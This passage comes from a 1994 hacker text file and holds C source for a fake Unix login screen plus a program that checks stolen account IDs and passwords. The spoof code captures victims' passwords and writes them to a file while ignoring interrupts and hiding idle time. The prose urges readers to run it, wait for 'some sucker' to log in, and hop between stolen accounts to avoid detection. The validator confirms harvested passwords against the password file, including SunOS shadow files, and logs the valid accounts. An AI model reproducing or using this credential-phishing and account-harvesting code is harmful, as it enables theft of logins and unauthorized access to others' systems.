| strncpy(u.logname, user, string_len); |
|
|
|
|
|
|
| /* check to see if CTRL-D has occurred because it does not |
| generate an interrupt like CTRL-C, but instead generates |
| an end-of-file on stdin */ |
|
|
| if (feof(stdin)) { |
| clearerr(stdin); |
| printf("\n"); |
| } |
|
|
| } |
|
|
|
|
|
|
| /* Turn off screen display & read users password */ |
|
|
| strncpy(u.key, getpass("Password:"), 8); |
|
|
| } |
|
|
|
|
|
|
| /* Function to increment the timer which holds the amount of time |
| the spoof has been running */ |
|
|
| void catch( void ) |
| { |
| time_on++; |
|
|
|
|
| /* If spoof has been running for 15 minutes, and has not |
| been used, stop timer and call spoof exit routine */ |
|
|
| if ( time_out == 0 ) { |
| if (time_on == 15) { |
| printf("\n"); |
| alarm(0); |
| log_out(); |
| } |
| } |
|
|
|
|
| /* 'Touch' your tty, effectively keeping terminal idle time to 0 */ |
|
|
| utime(tty, times); |
| alarm(50); |
| } |
|
|
|
|
|
|
| /* Initialise a string with \0's */ |
|
|
| void prep_str( char str[] ) |
| { |
| int strl, cnt; |
|
|
| strl = strlen(str); |
| for (cnt = 0; cnt != strl; cnt++) |
| str[cnt] = ' '; |
| } |
|
|
|
|
| /* function to catch interrupts, CTRL-C & CTRL-Z etc as |
| well as the timer signals */ |
|
|
| void disable_interrupts( void ) |
| { |
| signal(SIGALRM, catch); |
| signal(SIGQUIT, SIG_IGN); |
| signal(SIGTERM, SIG_IGN); |
| signal(SIGINT, SIG_IGN); |
| signal(SIGTSTP, SIG_IGN); |
| } |
|
|
|
|
| /* Write the users i.d., password, personal information, homedir |
| and shell to a file */ |
|
|
| void write_details(struct loginfo *sptr) |
| { |
|
|
| fprintf(fp, "%s:%s:", sptr->logname, sptr->key); |
| fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid); |
| fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir); |
| fprintf(fp, "%s\n", sptr->shell); |
| fprintf(fp, "\n"); |
| } |
|
|
|
|
|
|
| /* Display login incorrect only if the user hasn't logged on as |
| 'sync' */ |
|
|
| void invalid_login( void ) |
| { |
|
|
| if ( flag == 1 && pwstat == 0 ) |
| sleep(wait); |
|
|
| if ( no_message == 0 ) |
| printf("Login incorrect\n"); |
| } |
|
|
|
|
| /* Displays appropriate message, exec's the real login program, |
| this replaces the spoof & effectively logs spoof's account off. |
| Note: this spoof must be exec'd from the shell to work */ |
|
|
| void log_out( void ) |
| { |
| time_out = 1; |
|
|
| if ( no_message == 1 ) { |
| sleep(1); |
| printf("Login incorrect\n"); |
| } |
|
|
| execl(LOGPATH, "login", (char *)0); |
| } |
|
|
| ----------cut here------------------------------------------------------- |
|
|
| then delete the source, run it and wait for some sucker to login!. |
| If you do initially run this spoof from your account, I suggest you |
| remove it when you have grabbed someone's account and run it from theirs |
| from then on, this reduces your chances of being caught! |
|
|
|
|
|
|
|
|
|
|
| User i.d. & Password Validator |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
|
|
| Now if you are familiar with the unix Crack program, as I'm sure most of |
| you are ;-), or if you have used my spoof to grab some accounts, |
| this little program could be of some use. Say you have snagged |
| quit a few accounts, and a few weeks later you wanna see if they are still |
| alive, instead of logging onto them, then logging out again 20 or 30 times |
| which can take time, and could get the system admin looking your way, this |
| program will continuously ask you to enter a user i.d. & password, then |
| validate them both by actually using the appropriate entry in the password |
| file. All valid accounts are then stored along with other info from the |
| password file, in a data file. The program loops around until you stop it. |
|
|
| This works on all unshadowed unix systems, and, you guessed it!, shadowed |
| SUNOS systems. |
|
|
| If you run it on an unshadowed unix other than SUNOS, remove all references |
| to pwdauth(), along with the shadow password file checking routine, |
| if your on sysV, your shit outa luck! anyway, here goes :- |
|
|
|
|
| ---cut here--------------------------------------------------------------- |
|
|
| /* Program : To validate accounts & passwords on both |
| shadowed & unshadowed unix systems. |
| Author : The Shining/UPi (UK Division) |
| Date : Released 12/4/94 |
| UNIX type : All unshadowed systems, and SUNOS shadowed systems */ |
|
|
|
|
| #include <stdio.h> |
| #include <string.h> |
| #include <pwd.h> |
|
|
|
|
| FILE *fp; |
|
|
|
|
| int pw_system( void ), shadowed( void ), unshadowed( void ); |
| void write_info( void ), display_notice( void ); |
|
|
| struct passwd *pwentry, *getpwnam(); |
|
|
| struct user { |
| char logname[10]; |
| char key[9]; |
| char salt[3]; |
| } u; |
|
|
|
|
| char *getpass(), *pwdauth(), *crypt(), ans[2]; |
| int invalid_user, stat; |
|
|
|
|
| int main( void ) |
| { |
|
|
| strcpy(ans, "y"); |
|
|
| while (strcmp(ans, "y") == NULL) |
| { |
| invalid_user = stat = 0; |
| display_notice(); |
| printf("Enter login id:"); |
| scanf("%9s", u.logname); |
| strcpy(u.key, getpass("Password:")); |
|
|
|
|
| setpwent(); |
|
|
| if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) |
| invalid_user = 1; |
| else |
| strncpy(u.salt, pwentry->pw_passwd, 2); |
|
|
|
|
| if (invalid_user != 1) { |
|
|
| if ((stat = pw_system()) == 1) { |
| if ((stat = unshadowed()) == NULL) { |
| printf("Unshadowed valid account! - storing details\n"); |
| write_info(); |
| } |
| } |
| else |
| if ((stat = shadowed()) == NULL) { |
| printf("SUNOS Shadowed valid account! - storing details\n"); |
| write_info(); |
| } |
| else |
| invalid_user = 2; |
|
|
| } |
|
|
|
|
| if (invalid_user == 1) |
| printf("User unknown/not found in password file\n"); |
|
|
| if (invalid_user == 2 ) |
| printf("Password invalid\n"); |
|
|
| printf("\n\nValidate another account?(y/n): "); |
| scanf("%1s", ans); |
|
|
| endpwent(); |
| } |
| } |
|
|
|
|
| /* Check to see if shadow password system is used, in SUNOS the field |
| in /etc/passwd starts with a '#', if not, check to see if entry |
| is 13 chars, if not shadow must be in use. */ |
|
|
| int pw_system( void ) |
| { |
| if (strlen(pwentry->pw_passwd) != 13) |
| return(0); |
| else |
| if (strcmp(u.salt, "##") == NULL) |
| return(0); |
| else |
| return(1); |
| } |
|
|
|
|
| /* If system is unshadowed, get the 2 character salt from the password |
| file, and use this to encrypt the password entered. This is then |
| compared against the password file entry. */ |
|
|
| int unshadowed( void ) |
| { |
| if (pwentry->pw_passwd == crypt(u.key, u.salt)) |
| return(0); |
| else |
| return(1); |
| } |
|
|
|
|
| /* If SUNOS shadowe system is used, use the pwdauth() function to validate |
| the password stored in the /etc/security/passwd.adjunct file */ |
|
|
| int shadowed( void ) |
| { |
| int pwstat; |
|
|
| if (pwstat = pwdauth(u.logname, u.key) == NULL) |
| return(0); |
| else |
| return(1); |
| } |
|
|
|
|
| /* Praise myself!!!! */ |
|
|
| void display_notice( void ) |
| { |
| system("clear"); |
| printf("Unix Account login id & password validator.\n"); |
| printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n"); |
| printf("(c)1994 The Shining\n\n\n\n"); |
| } |
|
|
|
|
| /* Open a file called 'data' and store account i.d. & password along with |
| other information retrieved from the password file */ |
|
|
| void write_info( void ) |
| { |
|
|
| /* Open a file & store account information from pwfile in it */ |
|
|
| if ((fp = fopen("data", "a")) == NULL) { |
| printf("error opening output file\n"); |
| exit(0); |
| } |
|
|
| fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry->pw_uid); |
| fprintf(fp, "%d:%s:", pwentry->pw_gid, pwentry->pw_gecos); |
| fprintf(fp, "%s:%s\n", pwentry->pw_dir, pwentry->pw_shell); |
| fclose(fp); |
| } |
|
|
| -----cut here------------------------------------------------------------------ |
|
|
|
|
|
|
| The above programs will not compile under non-ansi C compilers without quite |
| a bit of modification. I have tested all these programs on SUNOS both |
| shadowed & unshadowed, though they should work on other systems with |
| little modification (except the shadow password cracker, which is SUNOS |
| shadow system specific). |
|
|
|
|
| Regards to the following guys :- |
|
|
|
|
| Archbishop & The Lost Avenger/UPi, RamRaider/QTX, |
| the guys at United International Perverts(yo Dirty Mac & Jasper!) |
| and all I know. |
|
|
|
|
| (c) 1994 The Shining (The NORTH!, U.K.) |
|
|
| ******************************************************************************* |
|
|